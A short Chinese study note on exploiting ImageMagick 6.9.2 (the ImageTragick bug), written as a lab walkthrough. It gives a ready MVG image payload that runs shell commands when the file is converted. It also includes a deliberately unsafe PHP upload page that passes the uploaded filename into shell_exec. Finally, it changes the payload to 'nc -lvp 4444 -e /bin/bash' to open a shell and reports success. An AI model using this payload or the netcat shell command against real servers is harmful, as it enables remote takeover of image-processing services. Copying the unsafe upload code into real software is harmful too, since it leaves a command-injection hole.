ImageMagick命令执行学习笔记(常见于图片预览处)

时间:2022-11-26 18:12:01

实验版本: ImageMagick版本:6.9.2

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|whoami")'
pop graphic-context"

把上面代码保存写入到图片里,再使用ImageMagick命令convert对图片进行操作时会触发命令执行。

如上面代码保存为1.jpg,执行convert 1.jpg -resize 100 2.jpg

ImageMagick命令执行学习笔记(常见于图片预览处)

下面看搭建环境代码

简单实现图片上传预览的代码:

<html>
    <body>
        <form action='' method='post' enctype='multipart/form-data'>
            <input type='file' name='file'>
            <input type='submit' value='submit'>
        </form>
    </body>
</html>
<?php
    $photo = '/var/www/html/'.$_FILES['file']['name'];
    $photo1 = '/var/www/html/'.'1.jpg';
   move_uploaded_file($_FILES['file']['tmp_name'],$photo);
    $imageMagick = 'convert '.$photo.' -resize 210 '.$photo1;
    shell_exec($imageMagick);
    echo '<img src=http://127.0.0.1/'.'1.jpg>';
?>

ImageMagick命令执行学习笔记(常见于图片预览处)

上传1.jpg,并把命令改 nc -lvp 4444 -e /bin/bash

可以看到客户端

ImageMagick命令执行学习笔记(常见于图片预览处)

ImageMagick命令执行学习笔记(常见于图片预览处)

反弹shell成功

ImageMagick命令执行学习笔记(常见于图片预览处)

案例资料:wooyun:优酷主站存在远程命令执行漏洞